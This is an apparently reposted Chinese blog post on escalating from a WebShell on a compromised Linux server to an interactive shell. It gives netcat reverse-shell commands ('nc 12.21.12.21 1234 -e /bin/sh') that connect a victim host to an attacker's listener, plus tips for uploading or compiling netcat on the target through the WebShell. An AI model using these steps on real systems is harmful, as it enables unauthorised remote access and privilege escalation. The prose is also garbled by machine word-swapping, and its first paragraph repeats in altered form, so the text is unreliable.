Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是我们的EXP必须在可交互环境运行,否则如果直接在WebShell执行,即使能提权成功,我们也没法利用到。
玩了半响朋友给的Linux的WebShell,本来想实践一下UDEV提权呢,***发现服务器形似现已打过补丁了。
不过仍是有其他的收成的,所以我就YY下Linux反弹Shell的问题。
Linux提权绝大部分都靠的是Local Exploit。WebShell一般都能够履行指令,可是咱们的EXP必须在可交互环境运转,不然假设直接在WebShell履行,即便能提权成功,咱们也无法利用到。所以咱们需求先反弹一个CmdLine Shell回来(直接说成CmdShell怕人误解...由于Win有个cmd.exe ^_^),然后在指令行终端下履行EXP进行提权。
一般状况下,绝大多数人都会经过PHP WebShell的Back Connect功用弹回一个Shell,可是有时分会碰到服务器不支撑PHP或许WebShell无法反弹的状况,比方这两天朋友给我的一个JSPShell地点服务器只支撑JSP,不支撑PHP。这时分,咱们经典的netcat就能够派上用场了。
平常在Windows下干事的时分,在必要的状况下咱们能够先在本机运转nc -vv -lp 1234监听端口,然后在肉鸡上nc 12.21.12.21 1234 -e cmd.exe给咱们反弹一个CmdShell,这个办法在Linux依然可行。
在本机监听后,在WebShell运转nc 12.21.12.21 1234 -e /bin/sh就能弹一个CmdLine Shell给咱们。
但咱们常常碰到的状况并不都是这么100%顺畅的,像昨夜整的那两台,每台都是不能直接履行nc的。一台有nc,但履行从是不起作用,别的一台直接压根就没有nc....
不过,这个难不倒咱们,咱们能够给他装一个嘛,比较方便的办法是,咱们能够到http://netcat.sourceforge.net/download.php下载nc的源码,先在咱们自己Linux机器上编译好今后把bin文件传上去(我开端传的我的Debian自带的netcat,成果依然不能运转....)。假设还不可,那就把源码传上去,在方针机器上直接编译。
昨夜那两台机器,一台我是直接传的本地编译后的,一台是在方针机器上编译的。假设直接传的nc能够运转的话还比较好说,假设需求在方针机器上编译的话,这儿有点小技巧:
由于在得到CmdLine Shell前,咱们只能在WebShell里履行指令,一般每次只能履行一条,然后等回显。假设咱们的WebShell在/var/www/site目录,那么咱们每次履行指令默许的当时途径都是/var/www/site,而咱们的netcat源码包解压在了/tmp/netcatsrc文件夹,这样的话,咱们编译netcat的时分,configure还好说,可用/tmp/netcatsrc/configure指令,但下一步make的时分就不可了,由于当时途径是/var/www/site,而不是咱们想要的/tmp/netcatsrc/,所以咱们configure完了make的时分会报错。
处理这个问题其实也很简单,能够直接把两句写成一句就能够:cd /tmp/netcatsrc;make
用分号离隔写,把make跟在目录切换指令后边,这样编译的时分就不会报错了。(漂泊猫教的..^_^)
在还没有得到CmdLine Shell的时分,这样的写法仍是很有用的。
【修改引荐】
- 实用技巧:找回Linux Root口令三种办法
- Linux下处理图画的法宝GIMP的装置
- Linux中防护垃圾邮件的办法
知优网 » Linux下反弹CmdLine Shell小技巧